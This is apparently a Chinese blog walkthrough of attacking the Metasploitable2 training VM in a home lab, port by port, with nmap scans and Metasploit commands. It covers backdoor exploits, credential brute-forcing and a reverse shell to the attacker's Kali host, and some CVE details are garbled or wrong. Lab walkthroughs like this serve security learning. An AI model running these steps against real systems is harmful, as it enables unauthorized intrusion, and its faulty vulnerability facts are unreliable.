叠个甲,仅作学习交流用途:本文所涉及的渗透测试相关知识、技术、案例等内容,仅为促进网络安全爱好者、专业人士之间的学习与交流而分享。读者应将这些内容严格用于提升自身的网络安全知识储备、技术能力,以及对网络安全防护体系的理解,严禁将其用于任何非法活动。对于读者因阅读本文后,自行决定实施的任何行为及其产生的后果,本文作者及发布平台不承担任何法律责任。读者在运用渗透测试知识时,务必自行确保行为的合法性与合规性。
使用工具:VM,Metasploitable2-Linux,kali linux
关于工具这里我就不多介绍,网上有教程。
那么开始渗透,渗透环境,msfadmin:192.168.236.142 kali linux:172.19.214.174
1、首先利用nmap扫描目标机的服务以及开放的端口等,做好信息收集
命令:nmap -sS -Pn 192.168.236.142
这里我介绍一下开放端口对应的服务
端口 | 服务名称 | 协议 | 说明 |
---|---|---|---|
21/tcp | ftp | TCP | 文件传输协议(可能存在匿名访问风险) |
22/tcp | ssh | TCP | 安全远程管理协议(常用管理端口) |
23/tcp | telnet | TCP | 明文远程登录协议(高风险,易被嗅探) |
25/tcp | smtp | TCP | 邮件传输协议(可能用于垃圾邮件发送) |
53/tcp | domain | TCP | DNS 域名解析服务 |
80/tcp | http | TCP | Web 服务(常见攻击面) |
111/tcp | rpcbind | TCP | 远程过程调用端口映射器(NFS 相关) |
139/tcp | netbios-ssn | TCP | Windows 文件/打印机共享(SMB 旧版) |
445/tcp | microsoft-ds | TCP | 高危端口(SMB 文件共享,永恒之蓝漏洞常见目标) |
512/tcp | exec | TCP | BSD 远程执行服务(rlogin 相关) |
513/tcp | login | TCP | BSD 远程登录(rlogin) |
514/tcp | shell | TCP | BSD 远程命令执行(rsh) |
1099/tcp | rmiregistry | TCP | Java RMI 注册服务(反序列化漏洞高发) |
1524/tcp | ingreslock | TCP | 数据库服务端口(常被后门程序利用) |
2049/tcp | nfs | TCP | 网络文件系统(配置不当可能导致未授权访问) |
2121/tcp | ccproxy-ftp | TCP | CCProxy 代理的 FTP 端口 |
3306/tcp | mysql | TCP | MySQL 数据库服务(弱密码风险高) |
5432/tcp | postgresql | TCP | PostgreSQL 数据库服务 |
5900/tcp | vnc | TCP | 远程桌面协议(若未加密可被截屏) |
6000/tcp | X11 | TCP | Linux 图形界面服务 |
6667/tcp | irc | TCP | 互联网中继聊天(僵尸网络常见) |
8009/tcp | ajp13 | TCP | Apache JServ 协议(Tomcat 连接器) |
8180/tcp | unknown | TCP | 未知服务(需进一步探测,可能是自定义 Web 服务或管理后台) |
接下来一个个开始渗透,我们使用nmap来进行服务版本探测
命令:nmap -sV -p 1-65535 192.168.236.142
根据以上信息,整理出下面信息
端口 | 服务/版本 | 高危漏洞 | 弱密码风险 |
---|---|---|---|
21 | vsftpd 2.3.4 | 后门漏洞 (CVE-2011-2523):用户名包含":)"可触发任意代码执行 | 极高 |
22 | OpenSSH 4.7p1 | 多个漏洞 (CVE-2010-4478, CVE-2008-5161),易受暴力破解 | 极高 |
23 | Linux telnetd | 明文传输凭据,易被嗅探 | 极高 |
80 | php服务 | PHP CGI参数注入执行漏洞 | 中 |
139/445 | Samba 3.X-4.X | 永恒之蓝漏洞 (MS17-010),远程代码执行 (CVE-2017-7494) | 极高 |
1524 | Metasploitable root shell | 后门程序:直接提供root权限shell (绑定shell) | - |
2121 | ProFTPD 1.3.1 | 远程代码执行 (CVE-2010-4221),缓冲区溢出漏洞 | 极高 |
3306 | MySQL 5.0.51a-3ubuntu5 | 认证绕过漏洞 (CVE-2012-2122),拒绝服务漏洞 | 极高 |
3632 | distccd v1 | 远程命令执行 (CVE-2004-2687):未授权访问可执行任意命令 | - |
5432 | PostgreSQL 8.3.0-8.3.7 | 权限提升漏洞 (CVE-2007-6600),缓冲区溢出 (CVE-2007-4778) | 极高 |
5900 | VNC (protocol 3.3) | 加密缺陷,可截屏窃取会话 | 极高 |
6667/6697 | UnrealIRCd | 后门漏洞 (CVE-2010-2075):远程命令执行 | 高 |
8009 | Apache Jserv 1.3 | 文件包含漏洞 (CVE-2020-1938),反序列化漏洞 | 中 |
8180 | Apache Tomcat 1.1 | 管理后台弱密码,远程代码执行 (CVE-2009-0580) | 极高 |
那么根据以上信息,就可以开始渗透了
1、21端口(弱口令漏洞)
此端口漏洞可以使用msfconsole的模块进行渗透
命令:search vsftpd
这里我们使用1
ok,渗透成功
2、22端口(弱口令漏洞)
22端口的主要问题是弱口令的问题,我们使用msfconsole进行爆破
命令:search ssh_login
show options
set rhost 192.168.236.142
set USER_FILE /home/jie/usernames.txt
set PASS_FILE /home/jie/passwords.txt
run
ok,成功爆破,弱口令爆破最主要的点在于根据服务信息生成合适的字典
3、23端口(弱口令漏洞)
23端口也是一个远程连接服务,通过账号密码登录,这里也是可以通过弱口令来爆破的
命令:search telnet_login
show options
set rhost 192.168.236.142
set USER_FILE /home/jie/usernames.txt
set PASS_FILE /home/jie/passwords.txt
run
跟22端口差不多的思路,爆破也可以使用别的工具,比如九头蛇(hydra),美杜莎(medusa)
4、80端口 (PHP CGI参数注入执行漏洞)
PHP CGI 参数注入执行漏洞(PHP CGI Parameter Injection)是一种因 Web 服务器配置不当导致的远程代码执行漏洞,攻击者可通过构造特殊参数绕过安全限制,执行任意系统命令。以下是其核心原理和示例:
一、漏洞背景
PHP 作为 CGI 脚本运行时(如 FastCGI 模式),Web 服务器会将 HTTP 请求头和 URL 参数传递给 PHP 解释器处理。若配置不当,攻击者可通过污染环境变量来影响 PHP 的行为。
二、漏洞原理
1. CGI 环境变量传递机制
当 Web 服务器(如 Nginx/Apache)以 CGI 模式运行 PHP 时,会将部分 HTTP 请求头转换为环境变量传递给 PHP,例如:
HTTP_USER_AGENT
→$_SERVER['HTTP_USER_AGENT']
HTTP_REFERER
→$_SERVER['HTTP_REFERER']
2. PHP 配置漏洞点
若 PHP 配置中存在以下情况,可能触发漏洞:
register_globals = On
(PHP 5.4 之前默认开启):将环境变量直接导入全局变量。allow_url_include = On
:允许通过 URL 包含远程文件。cgi.fix_pathinfo = 1
(默认开启):路径信息解析漏洞。
在浏览器进行访问
我们可以使用msfconsole进行攻击
命令:search php_cgi
set rhost 192.168.236.142
run
ok,成功渗透
5、139/445(samba漏洞)
在samba服务也是存在很多漏洞的,比较出名的就是Windows上的永恒之蓝了
在linux上也是有漏洞的,直接通过msfconsole来利用
命令:search samba
也是有好几个的,我们选择excellent的来进行渗透,成功率更高
命令:use 15
set rhost 192.168.236.142
run
ok,渗透成功
6、1099端口(java反序列化漏洞)
一、漏洞背景
Java RMI 是 Java 的远程调用机制,默认监听1099 端口。攻击者可通过构造恶意序列化对象,触发目标服务器的反序列化过程,执行任意命令。
二、漏洞原理
1. Java 序列化与反序列化
- 序列化:将 Java 对象转换为字节流,便于传输或存储。
- 反序列化:将字节流还原为 Java 对象,可能触发
readObject()
方法。
2. 危险类的利用
若目标应用在反序列化过程中包含以下类,可能触发命令执行:
commons-collections
:利用链Transformer
→InvokerTransformer
→Runtime.getRuntime().exec()
。JRMPClient/JRMPListener
:结合 RMI 注册中心实现二次反序列化。
3. RMI 服务漏洞点
Java RMI 服务(默认端口 1099)在处理客户端请求时:
- 接收序列化对象。
- 调用
ObjectInputStream.readObject()
进行反序列化。 - 若存在危险类,攻击者可注入恶意代码。
那么利用msfconsole
命令:search java_rmi
use 1
set rhost 192.168.236.142
run
ok了
7、1524端口
1524 端口通常与后门程序、未授权访问,直接
telnet 192.168.236.142 1524
就是这么简单这个漏洞
8、3306端口(弱口令漏洞)
使用msf里面的模块直接爆破即可
命令:search mysql_login
use 0
set rhost 192.168.236.142
set USER root
set PASS_FILE /home/jie/password.txt
没有反应,难不成是空密码,试一下登录
确实是空密码,由于kali的版本跟靶机的对不上,连不了
9、5432漏洞(弱口令漏洞)
PostgreSQL 弱密码登录漏洞本质是身份认证机制的失效,属于 “认证绕过” 类安全问题。当管理员为 PostgreSQL 数据库设置弱密码(如postgres/postgres
、admin/123456
等),且数据库允许远程访问时,攻击者可通过暴力破解或直接使用默认密码登录,获取数据库控制权。
直接使用模块进行爆破
命令:search postgres_login
use 0
set rhost 192.168.236.142
set USER_FILE /home/jie/username.txt
set PASS_FILE /home/jie/password.txt
run
账号postgres,密码postgres
进行登录测试即可
命令:psql –h ip –U postgres
10、5900端口(VNC弱口令漏洞)
VNCViewer是一个远程桌面控制程序,它可以让用户通过网络连接到远程计算机并控制该计算机的桌面。通过密码登录,可以通过爆破渗透
成功爆出密码password,登录一下
ok,成功登录
11、6667/6697端口(IRC漏洞)
IRC 服务默认使用 6667 端口,6697 端口通常用于 IRC 的 SSL 连接1。与 IRC 服务相关的常见后门漏洞是 UnrealIRCd 的后门漏洞,漏洞编号为 CVE-2010-20754。其漏洞原理如下6:
在 2009 年 11 月到 2010 年 6 月间,某些镜面站点的 UnrealIRCd 版本中,DEBUG3_DOLOG_SYSTEM 宏包含了外部引入的恶意代码。远程攻击者可利用该漏洞,向 IRC 服务器发送特定请求,触发恶意代码执行,从而在受影响的主机上执行任意代码,获取服务器权限或进行其他恶意操作。
还是使用msf中的模块进行攻击
使用其中的后门漏洞
命令:use 42(exploit/unix/irc/unreal_ircd_3281_backdoor)
set rhost 192.168.236.142
set lhost 172.19.214.174
show payloads
set payload 6
run
ok,成功getshell
12、8180端口
tomcat服务,登录存在弱口令密码
直接使用bp爆破,我是直接试出来的
ok,以上就是渗透的所有过程,主要是对工具msfconsole的深度利用,以及对对应服务的漏洞了解和利用。